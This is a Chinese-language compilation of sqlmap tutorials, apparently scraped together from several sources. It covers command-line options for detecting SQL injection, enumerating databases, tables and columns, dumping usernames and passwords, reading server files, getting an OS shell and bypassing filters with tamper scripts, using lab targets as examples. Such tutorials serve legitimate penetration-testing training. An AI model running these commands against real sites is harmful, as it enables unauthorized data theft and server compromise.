SQLMAP使用手册

合集下载

sqlmap 用法

sqlmap 用法

sqlmap 用法SQLmap 是一个基于Python 开发的自动化SQL 注入工具,可以自动扫描并发现网站SQL 注入漏洞,进而进行攻击,获取目标站点的敏感信息。

SQLmap 的用法如下:1. 下载SQLmap 并解压缩。

2. 打开命令行,进入到SQLmap 的目录下。

3. 执行以下命令:./sqlmap.py -u " dbs其中,`-u` 参数指定了目标网站的URL,`dbs` 参数是告诉SQLmap 爆破网站的数据库名称。

4. SQLmap 即会自动扫描目标站点,探测是否存在SQL 注入漏洞,并且提供一个菜单让用户选择要进行哪些操作。

下面是一些常用的SQLmap 命令:- `-u` 用来指定目标URL。

- `dbs` 用来指定要爆破的数据库名称。

- `current-db` 用来显示当前所处的数据库名称。

- `tables` 用来显示指定数据库中的所有表。

- `columns` 用来显示指定表中的所有列。

- `dump` 用来下载指定数据库中的所有数据。

- `-p` 用来指定要测试的参数。

- `technique` 用来指定使用的SQL 注入技术。

- `level` 用来指定SQL 注入攻击的强度级别。

- `user-agent` 用来指定HTTP User-Agent。

- `cookie` 用来指定HTTP Cookie。

- `tamper` 用来指定修改SQL 注入攻击载荷的方法。

以上命令只是SQLmap 的一部分,完整的命令列表可以查看SQLmap 的帮助文档。

在使用SQLmap 时,需要谨慎操作,以免不小心删除或修改了网站的数据。

Sqlmap使用(必备命令)

Sqlmap使用(必备命令)

Sqlmap使⽤(必备命令)⼀、Sqlmap注⼊篇Sqlmap是⼀个专业的SQL注⼊⼯具,⽤法也很多,具体可以⽤"sqlmap -hh"查看完整的命令帮助⽂档,我这只是给⼤家分享⼀些最常⽤的Sqlmap⽤法。

1、检查注⼊点【get】 sqlmap -u "url"【post】sqlmap -u "url" --data="参数"【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince"【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1"2、爆所有数据库信息--dbs(爆所有数据库信息)【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --dbs【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --dbs--current-db(爆当前数据库信息)【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-db【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-db3、列出指定数据库所有的表名-D 数据库名 --tables例如:列出数据库名为pikachu的所有数据表【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu --tables【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu --tables4、列出指定表名的所有列名--columns 所有列名例如:数据库pikachu中users表所有字段名【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users --columns【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users --columns5、dump打印输出表名指定列名字段的值数据-C 指定需要显⽰数值的字段名,不指定默认显⽰全部字段例如:数据库pikachu中users表中username,password字段的值【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users -C username,password --dump【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users -Cusername,password --dump6、Sqlmap -r 使⽤使⽤Fiddler或者Burp Suite抓包将get或者post请求保存为.txt⽂件,然后使⽤Sqlmap -r “txt⽂件路径”调⽤,这样就不⽤输⼊参数和cookie了。

slqmap使用手册

slqmap使用手册

slqmap使用手册以下是使用sqlmap的简单手册:1. 获取数据库管理系统的标识:使用参数-b或--banner。

2. 检索数据库管理系统当前用户:使用参数--current-user。

3. 检索数据库管理系统当前数据库:使用参数--current-db。

4. 检测DBMS当前用户是否DBA:使用参数--is-dba。

5. 枚举数据库管理系统用户:使用参数--users。

6. 枚举数据库管理系统用户密码哈希:使用参数--passwords。

7. 枚举数据库管理系统用户的权限:使用参数--privileges。

8. 枚举数据库管理系统用户的角色:使用参数--roles。

9. 枚举数据库管理系统数据库:使用参数--dbs。

10. 枚举数据库管理系统中的表:使用参数--tables。

11. 枚举数据库管理系统数据库表列:使用参数--columns。

12. 转储数据库管理系统的数据库中的表项:使用参数--dump。

13. 转储所有的DBMS数据库表中的条目:使用参数--dump-all。

14. 搜索列、表和/或数据库名称:使用参数-search。

15. 要进行枚举的特定数据库名:使用参数-D。

16. 要进行枚举的特定数据库表:使用参数-T。

17. 要进行枚举的特定数据库列:使用参数-C。

18. 只想列举部分数据可以使用参数--start和--stop。

如只想列举第一条数据可以添加--stop 1,只想列举第二和第三条数据可以添加--start 1 --stop 3。

此外,还可以用--where参数来限制列举的数据,如--where id>3会只列举列id的值大于3的数据。

19. 列举所有数据库所有表中所有数据,可以使用参数--dump-all和--exclude-sysdbs,排除系统数据库。

以上是sqlmap的一些基本用法,更多高级用法可以查阅sqlmap的官方文档或相关教程。

sqlmap使用手册

sqlmap使用手册

sqlmap使⽤⼿册sqlmap使⽤⼿册输⼊“python sqlmap.py --version”检查sqlmap是否安装成功输⼊“python sqlmap.py -hh”, “-hh”参数⽤于查看sqlmap的使⽤说明输⼊“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数⽤于指定注⼊点的URL。

输⼊“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”⽤于列举数据库。

输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”⽤于指定数据库名称,“--tables”参数⽤于列举表。

输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”⽤于指定表名称,“--columns”参数⽤于指定列出表中字段。

输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”⽤于指定字段名称,参数“—dump”⽤于导出数据。

--os-shell--file-read "/user/www/flag.php官⽅命令sqlmap -r http.txt #http.txt是我们抓取的http的请求包sqlmap -r http.txt -p username #指定参数,当有多个参数⽽你⼜知道username参数存在SQL漏洞,你就可以使⽤-p指定参数进⾏探测sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该⽹站需要登录时,探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填⼊sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库⽤户名的密码sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前⽤户是否有管理员权限sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员⾓⾊,仅适⽤于oracle数据库的时候sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进⾏过滤,⽤/**/代替空格sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最⾼级别。

sqlmap基础使用

sqlmap基础使用

sqlmap基础使用SQLMap是一款用于自动化SQL注入和数据库渗透测试的工具。

下面是SQLMap的基础使用方法:1. 扫描目标网站:```shellsqlmap -u <目标URL>```2. 扫描POST请求:```shellsqlmap -u <目标URL> --data="<POST数据>"```3. 使用代理扫描目标网站:```shellsqlmap -u <目标URL> --proxy="<代理地址>"```4. 使用Cookie扫描目标网站:```shellsqlmap -u <目标URL> --cookie="<Cookie数据>"```5. 使用自定义User-Agent扫描目标网站:```shellsqlmap -u <目标URL> --user-agent="<User-Agent数据>" ```6. 指定注入点类型:```shellsqlmap -u <目标URL> --level=<测试级别> --risk=<风险级别> ```7. 扫描指定的注入点:```shellsqlmap -u <目标URL> --tests="<测试名称>"```8. 执行特定的SQL语句:```shellsqlmap -u <目标URL> --sql-query="<SQL语句>"```9. 获取目标数据库版本:```shellsqlmap -u <目标URL> --dbs```10. 获取目标数据库的所有表:```shellsqlmap -u <目标URL> -D <数据库名> --tables```11. 获取指定表的所有列:```shellsqlmap -u <目标URL> -D <数据库名> -T <表名> --columns```12. 获取指定列的数据:```shellsqlmap -u <目标URL> -D <数据库名> -T <表名> -C "<列名1>,<列名2>,..." --dump```以上是SQLMap的基础使用方法,可以根据具体的需求进行组合和调整。

sql注入工具sqlmap使用参数说明

sql注入工具sqlmap使用参数说明

sql注⼊⼯具sqlmap使⽤参数说明Options(选项):--version 显⽰程序的版本号并退出-h, --help 显⽰此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)Target(⽬标):以下⾄少需要设置其中⼀个选项,设置⽬标URL。

-d DIRECT 直接连接到数据库。

-u URL, --url=URL ⽬标URL。

-l LIST 从Burp或WebScarab代理的⽇志中解析⽬标。

-r REQUESTFILE 从⼀个⽂件中载⼊HTTP请求。

-g GOOGLEDORK 处理Google dork的结果作为⽬标URL。

-c CONFIGFILE 从INI配置⽂件中加载选项。

Request(请求)::这些选项可以⽤来指定如何连接到⽬标URL。

--data=DATA 通过POST发送的数据字符串--cookie=COOKIE HTTP Cookie头--cookie-urlencode URL 编码⽣成的cookie注⼊--drop-set-cookie 忽略响应的Set - Cookie头信息--user-agent=AGENT 指定 HTTP User - Agent头--random-agent 使⽤随机选定的HTTP User - Agent头--referer=REFERER 指定 HTTP Referer头--headers=HEADERS 换⾏分开,加⼊其他的HTTP头--auth-type=ATYPE HTTP⾝份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)--auth-cred=ACRED HTTP⾝份验证凭据(⽤户名:密码)--auth-cert=ACERT HTTP认证证书(key_file,cert_file)--proxy=PROXY 使⽤HTTP代理连接到⽬标URL--proxy-cred=PCRED HTTP代理⾝份验证凭据(⽤户名:密码)--ignore-proxy 忽略系统默认的HTTP代理--delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒--timeout=TIMEOUT 等待连接超时的时间(默认为30秒)--retries=RETRIES 连接超时后重新连接的时间(默认3)--scope=SCOPE 从所提供的代理⽇志中过滤器⽬标的正则表达式--safe-url=SAFURL 在测试过程中经常访问的url地址--safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URLOptimization(优化):这些选项可⽤于优化SqlMap的性能。

sqlmap 使用详细介绍

sqlmap 使用详细介绍

sqlmap 使用详细介绍sqlmap是一种用于自动化检测和利用SQL注入漏洞的工具。

它支持多种数据库,并能够无需用户介入地检测和利用注入漏洞。

下面我们来详细介绍sqlmap 的使用。

1. 安装sqlmap首先,从sqlmap官网下载最新版本。

下载完成后解压,即可开始使用。

2. 检测SQL注入漏洞(1)使用GET参数例如,我们有一个URL:python sqlmap.py -u " dbs这个命令会告诉sqlmap对目标URL进行检测,并且列出所有检测到的数据库。

(2)使用POST参数假设我们有一个表单,其中包含username和password字段,并使用POST 请求将其提交。

假设我们知道这个表单可能存在SQL注入漏洞。

那么,我们可以使用以下命令进行检测:python sqlmap.py -u " data "username=admin&password=123456" dbs这个命令会告诉sqlmap对目标URL进行检测,并列出检测到的所有数据库。

3. 利用SQL注入漏洞如果SQL注入漏洞被检测到,那么我们可以使用以下命令将其利用:python sqlmap.py -u " dbs dump这个命令会告诉sqlmap对目标URL进行检测,并列出检测到的所有数据库,并尝试dump出所有的敏感数据。

请注意,这个命令会将敏感数据写入到当前目录下的一个文件中。

4. 使用代理如果我们需要通过代理服务器来访问目标网站,那么可以使用以下命令:python sqlmap.py -u " proxy dbs这个命令将告诉sqlmap使用指定的代理服务器来连接到目标网站。

5. 高级选项sqlmap还提供了许多高级选项,可帮助我们更好地控制我们的检测和利用。

例如,我们可以使用以下命令指定要使用的数据库:python sqlmap.py -u " dbms mysql dbs这个命令将告诉sqlmap只检测MySQL数据库。

sqlmap使用说明

sqlmap使用说明

sqlmap使用说明使用说明:SQLMap是一款常用的自动化SQL注入工具,可以帮助安全测试人员快速发现并利用应用程序中的SQL注入漏洞。

1. 下载与安装:SQLMap是一个Python脚本,可以在其官方网站(不提供链接)或GitHub 上下载最新版本的源代码或二进制文件。

安装之前请确保您已经安装了Python运行环境。

2. 准备目标:在使用SQLMap之前,需要确认目标应用程序存在SQL注入漏洞,并收集相关信息。

您可以使用抓包工具(如Burp Suite)或手动分析应用程序的请求和响应来确定注入点。

3. 基本用法:使用SQLMap的基本命令格式如下:`sqlmap -u <目标URL> --options`- <目标URL>:指定要测试的目标URL,必须包含注入点。

- --options:包含各种可选参数,如注入点类型、技术、数据扫描级别等。

4. 参数配置:SQLMap提供了丰富的参数选项,以适应不同的注入场景和需求。

以下是一些常用的参数:- --level:指定数据扫描级别,默认为1,可增加到5以提高扫描深度。

- --technique:指定注入技术,默认为自动检测。

- --dbms:指定数据库管理系统类型,如MySQL、Oracle等。

- --threads:指定并发线程数,加快注入速度,默认为1。

- --tamper:指定注入时修改Payload的技巧,以绕过WAF等检测机制。

5. 运行测试:在完成参数配置之后,您可以运行SQLMap开始注入测试。

SQLMap将自动检测注入类型、发现数据库信息、提取敏感数据等。

运行测试的命令示例:`sqlmap -u <目标URL> --level 3 --risk 2 --threads 5`6. 结果解析:SQLMap将生成详细的测试报告,包括注入点信息、发现的数据库、提取的数据等。

您可以通过查看报告来了解测试的结果和发现的漏洞。

sqlmapmaster工具新手使用方法

sqlmapmaster工具新手使用方法

sqlmapmaster工具新手使用方法SQLMap是一款使用Python编写的开源渗透测试工具,用于自动化检测和利用SQL注入漏洞。

在使用SQLMap之前,我们需要先了解它的基本用法和工作原理。

一、安装SQLMap2.解压源码包,并进入解压后的目录。

3. 执行命令"python setup.py install",安装SQLMap的依赖库。

二、使用SQLMap下面是一个简单的使用SQLMap的示例,帮助新手快速上手。

1.识别目标首先,我们需要识别目标网站是否存在SQL注入漏洞。

通过执行以下命令,SQLMap将发送一系列测试请求,以确定目标是否存在漏洞。

``````其中,"-u"参数用于指定目标URL,"--batch"参数用于批量处理所有请求,"--level"参数用于设置检测的深度,"--risk"参数用于设置检测的敏感性。

2.确认漏洞如果SQLMap成功检测到漏洞,将显示漏洞的详细报告,包括漏洞类型、数据库类型、操作系统等信息。

3.利用漏洞一旦确认目标存在SQL注入漏洞,我们可以利用SQLMap的自动化功能,自动提取数据库、表和列的信息。

``````其中,"--dbs"参数用于指定提取数据库信息。

4.导出数据通过以下命令,可以导出特定数据库、表和列的数据。

``````其中,"-D"参数用于指定数据库名称,"-T"参数用于指定表名称,"-C"参数用于指定列名称。

5.通过参数注入如果目标网站接受参数作为输入,我们可以使用"--data"参数,将参数传递给SQLMap进行注入检测。

``````其中,"--data"参数用于指定要注入的参数。

6.其他参数SQLMap还支持许多其他参数,用于定制和优化检测和利用过程。

史上最详细的sqlmap使用教程

史上最详细的sqlmap使用教程

史上最详细的sqlmap使用教程SQLMap是一个强大的SQL注入工具,以下是它的详细使用教程:一、概述SQLMap是一个自动化工具,用于检测和利用SQL注入漏洞。

通过使用SQLMap,用户可以绕过应用程序的安全措施,执行任意SQL命令,并获取敏感数据。

二、安装与配置1. 下载SQLMap:从官方网站下载最新版本的SQLMap。

2. 配置环境:根据您的操作系统和编程环境,确保已安装Python和必要的依赖项。

3. 设置代理:如果您的网络环境需要通过代理访问目标服务器,请配置好代理设置。

三、基本用法1. 扫描单个目标:使用以下命令扫描单个目标是否存在SQL注入漏洞:```csspython -u <目标URL> --dump-all```其中,`<目标URL>`是您要扫描的目标网址。

`--dump-all`参数用于提取所有数据库和表信息。

2. 扫描多个目标:如果您要扫描多个目标,可以将URL列表保存在文件中,并使用以下命令:```csspython -f <目标URL列表文件> --dump-all```3. 指定数据库类型:如果目标数据库类型已知,可以使用`--dbms`参数指定数据库类型。

例如:```csspython -u <目标URL> --dbms MySQL --dump-all```4. 使用特定的注入技巧:SQLMap支持多种注入技巧,如布尔型盲注、时间盲注、报错注入等。

您可以使用`--technique`参数指定特定的注入技巧。

例如:```csspython -u <目标URL> --technique=B --dump-all```其中,`B`表示布尔型盲注。

5. 绕过验证码:如果目标网站使用了验证码机制,您可以使用`--skip-captcha`参数绕过验证码。

例如:```csspython -u <目标URL> --skip-captcha --dump-all```6. 使用自定义请求头:如果目标服务器要求特定的请求头信息,您可以使用`--headers`参数自定义请求头。

sqlmap的基本命令使用

sqlmap的基本命令使用

sqlmap的基本命令使用以下是sqlmap的基本命令使用:1. 执行SQL注入测试:`sqlmap -u <目标URL>`2. 执行POST请求的SQL注入测试:`sqlmap -u <目标URL> --data="<POST数据>"`3. 指定请求cookie进行SQL注入测试:`sqlmap -u <目标URL> --cookie="<cookie数据>"`4. 指定GET参数进行SQL注入测试:`sqlmap -u <目标URL> --data="<GET参数>"`5. 指定数据库管理系统类型:`sqlmap -u <目标URL> --dbms=<数据库类型>`6. 指定要测试的注入点:`sqlmap -u <目标URL> --level=<注入点级别> --risk=<注入点风险等级>`7. 使用代理进行测试:`sqlmap -u <目标URL> --proxy=<代理地址>`8. 指定响应时间,以检测时间盲注:`sqlmap -u <目标URL> --time-sec=<延迟时间>`9. 指定自定义payload进行测试:`sqlmap -u <目标URL> --data="<POST数据>" --payload="<payload数据>"`10. 获取数据库的表:`sqlmap -u <目标URL> --tables`11. 获取指定数据库的列:`sqlmap -u <目标URL> --columns -D <数据库名> -T <表名>`这些是sqlmap的一些基本命令,你可以根据实际情况进行调整和更改。

Sqlmap 手册

Sqlmap 手册

Sqlmap 手册http://192.168.136.131/sqlmap/mysql/get_int.php?id=1当给sqlmap这么一个url的时候,它会:1、判断可注入的参数2、判断可以用那种SQL注入技术来注入3、识别出哪种数据库4、根据用户选择,读取哪些数据sqlmap支持五种不同的注入模式:1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http 请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer 头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。

可以设定HTTP(S)请求的并发数,来提高盲注时的效率。

Youtube上有人做的使用sqlmap的视频:/user/inquisb/videos/user/stamparm/videos使用sqlmap的实例文章:/search/label/sqlmap可以点击https:///sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。

sqlmap的基本命令使用

sqlmap的基本命令使用

sqlmap的基本命令使用SQLMap是一种开源的自动化SQL注入工具,用于发现和利用Web 应用程序中的SQL注入漏洞。

通过利用SQL注入漏洞,攻击者可以访问或修改数据库中的数据,甚至可以获取服务器上的敏感信息。

SQLMap可以帮助安全研究人员和渗透测试人员快速检测和利用这些漏洞。

下面是SQLMap的一些基本命令和用法:1. 网址目标:使用"-u" 参数指定目标URL,例如:```sqlmap -u http://example/page.php?id=1```2. 请求文件目标:如果你已经获取了Web应用程序的请求文件(例如Burp或Fiddler),可以使用"-r" 参数指定请求文件,例如: ```sqlmap -r request.txt```3. 请求头参数:使用"-H" 参数指定请求头参数,例如:```sqlmap -u http://example/page.php?id=1 -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"```4. 数据库类型:使用"--dbms" 参数指定目标数据库的类型。

SQLMap支持多种数据库,如MySQL、Oracle等。

例如:```sqlmap -u http://example/page.php?id=1 --dbms=mysql```5. 扫描所有参数:使用"--dbs" 参数扫描数据库的名称,例如:```sqlmap -u http://example/page.php?id=1 --dbs```6. 扫描所有表:使用"-D" 参数指定数据库名,并使用"--tables" 参数扫描所有表,例如:```sqlmap -u http://example/page.php?id=1 --tables -D database_name```7. 扫描所有列:使用"-T" 参数指定表名,并使用"--columns" 参数扫描所有列,例如:```sqlmap -u http://example/page.php?id=1 --columns -D database_name -T table_name```8. 数据提取:使用"-D" 参数指定数据库名、"-T" 参数指定表名和"-C" 参数指定列名,例如:```sqlmap -u http://example/page.php?id=1 --dump -Ddatabase_name -T table_name -C column_name```9. 执行SQL语句:使用"--sql-shell" 参数进入交互式SQL Shell,例如:```sqlmap -u http://example/page.php?id=1 --sql-shell```10. 批量扫描:使用"-m" 参数指定扫描目标的URL文件,例如: ```sqlmap -m targets.txt```总结起来,SQLMap是一种强大而灵活的工具,可以用于发现和利用Web应用程序中的SQL注入漏洞。

SQLMAP使用手册

SQLMAP使用手册

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。

今天把我一直以来整理的sqlmap笔记发布上来供大家参考。

sqlmap简介sqlmap支持五种不同的注入模式:∙1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

∙2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

∙3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

∙4、联合查询注入,可以使用union的情况下的注入。

∙5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB检测注入基本格式sqlmap -u “/post.php?id=1″默认使用level1检测全部数据库类型sqlmap -u “/post.php?id=1″ –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。

目的就是:要追踪到错误信息。

cookie注入当程序有防get注入的时候,可以使用cookie注入sqlmap -u “/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)从post数据包中注入可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数注入成功后获取数据库基本信息sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。

SQLMAP使用手册

SQLMAP使用手册

SQLMAP使用手册SQLMAP使用手册1、简介1.1 SQLMAP概述1.2 SQL注入攻击简介1.3 SQLMAP的功能和用途1.4 SQLMAP的安装和配置2、SQLMAP基础2.1 命令行参数2.2 目标URL设置2.3 扫描选项设置2.4 输出选项设置3、SQL注入测试3.1 参数型注入测试3.2 Cookie型注入测试3.3 User-Agent型注入测试3.4 HTTP头注入测试4、数据库探测4.1 数据库类型探测4.2 数据库版本探测4.3 数据库用户探测5、数据库指纹识别5.1 数据库5.2 数据库表5.3 获取表结构5.4 获取表数据6、数据库访问6.1 执行SQL语句6.2 数据库连接管理6.3 文件读取/写入6.4 Shell命令执行7、信息收集7.1 获取Web服务器信息7.2 获取操作系统信息7.3 Web应用指纹识别7.4 文件系统探测8、数据库漏洞利用8.1 UNION注入攻击8.2 堆叠查询注入攻击8.3 报错注入攻击8.4 盲注注入攻击9、高级功能9.1 代理设置9.2 多线程扫描9.3 CSRF防御绕过9.4 SSL证书验证绕过10、注意事项与常见问题解答 10.1 注意事项10.2 常见问题解答11、附件本文档涉及附件:1、附件A: SQLMAP安装指南:pdf2、附件B: SQL注入攻击示例代码:sql3、附件C: SQLMAP命令行参数说明:docx本文所涉及的法律名词及注释:1、SQL注入:一种针对Web应用程序的安全漏洞,黑客可以通过构造特定的输入数据,使应用程序在与数据库交互时执行恶意代码。

2、数据库:用于存储和管理结构化数据的电子系统,可以通过SQL语言进行操作和查询。

3、数据库服务器:承载数据库的硬件和软件系统。

4、SQLMAP:一个开源的自动化SQL注入工具,用于发现和利用SQL注入漏洞。

5、扫描选项:用户在使用SQLMAP时可以设置的参数,用于指定扫描的目标、测试方式和输出格式等。

sqlmap使用手册

sqlmap使用手册

sqlmap使用手册Sqlmap使用手册Sqlmap是一款强大的SQL注入工具,是许多黑客和安全测试人员的必备工具。

下面是一篇关于Sqlmap的使用手册。

一、工具准备在使用Sqlmap前,首先要将工具准备好。

可以到Github官网下载最新的Sqlmap工具。

同时,还需要在系统中安装Python环境,因为Sqlmap是用Python语言编写的。

二、基本命令Sqlmap有许多命令,下面是一些基本命令:1.查看帮助信息:sqlmap -h2.进行初步漏洞扫描:sqlmap -u "目标URL" --dbs3.指定数据库类型进行漏洞扫描:sqlmap -u "目标URL" -dbs --dbms="数据库类型"4.指定要测试的数据库:sqlmap -u "目标URL" --table -D "数据库名称"5.指定要测试的表:sqlmap -u "目标URL" -T "表名称" --columns6.指定要测试的列:sqlmap -u "目标URL" -T "表名称" -C "列名称"三、高级命令Sqlmap还有一些高级命令,可以更深入地了解漏洞,下面是一些高级命令:1.使用指定的Cookie:sqlmap -u "目标URL" --cookie="Cookie值"2.使用指定的UserAgent:sqlmap -u "目标URL" --user-agent="UserAgent值"3.使用远程代理:sqlmap -u "目标URL" --proxy="代理IP:代理端口"4.指定使用的DBMS:sqlmap -u "目标URL" --dbms="数据库类型"5.指定使用的HTTP方法:sqlmap -u "目标URL" --method="HTTP方法"6.指定使用的HTTP头:sqlmap -u "目标URL" --headers="HTTP头"四、常见错误在使用Sqlmap时,常常会遇到一些错误,下面是一些常见错误以及解决方法:mand not found安装Python环境2.Sqlmap: command not found添加Python环境路径到环境变量中3.需要管理员权限使用sudo命令授予管理员权限4.无法解析主机名检查目标URL是否正确五、总结Sqlmap是一款强大的SQL注入工具,其功能强大,使用简便。

sqlmap中文手册

sqlmap中文手册

sqlmap中文手册
SQLMap是一款开源的自动化SQL注入工具,它可以帮助安全测试人员快速地检测和利用SQL注入漏洞。

SQLMap中文手册是SQLMap
的中文使用手册,它详细介绍了SQLMap的使用方法和技巧,对于想要学习SQL注入的安全测试人员来说是一份非常有价值的资料。

SQLMap中文手册主要包括以下几个方面的内容:
1. SQLMap的基本使用方法:SQLMap的基本使用方法包括命令行参数、配置文件、交互式模式等多种方式,手册详细介绍了这些使用方
法的具体操作步骤和注意事项。

2. SQLMap的高级功能:SQLMap除了基本的注入检测和利用功能外,还提供了一些高级功能,如批量检测、指纹识别、数据泄露等,手册
对这些高级功能进行了详细的介绍和演示。

3. SQLMap的参数设置:SQLMap有很多参数可以设置,手册对这些参数进行了分类和详细的介绍,帮助用户更好地理解和使用这些参数。

4. SQLMap的实战案例:手册中还提供了一些SQLMap的实战案例,这些案例涵盖了不同类型的网站和不同的注入漏洞,可以帮助用户更
好地理解SQLMap的使用方法和技巧。

总的来说,SQLMap中文手册是一份非常实用的资料,它可以帮助安全测试人员更好地掌握SQL注入的技术和方法,提高安全测试的效率和准确性。

同时,手册也提醒用户在使用SQLMap时要遵守法律法规和道德规范,不得用于非法用途。

sqlmap工具使用方法

sqlmap工具使用方法

sqlmap工具使用方法SQLMAP工具使用方法SQLMAP是一款开源的渗透测试工具,它的主要功能是破解Web 应用中的SQL注入漏洞,并且可以自动化地执行无数个大量的SQL 语句,以检测出可以被利用的SQL注入漏洞。

一、SQLMAP的安装1、下载SQLMAP可以在网络上搜索相应的下载地址,选择合适的下载安装包。

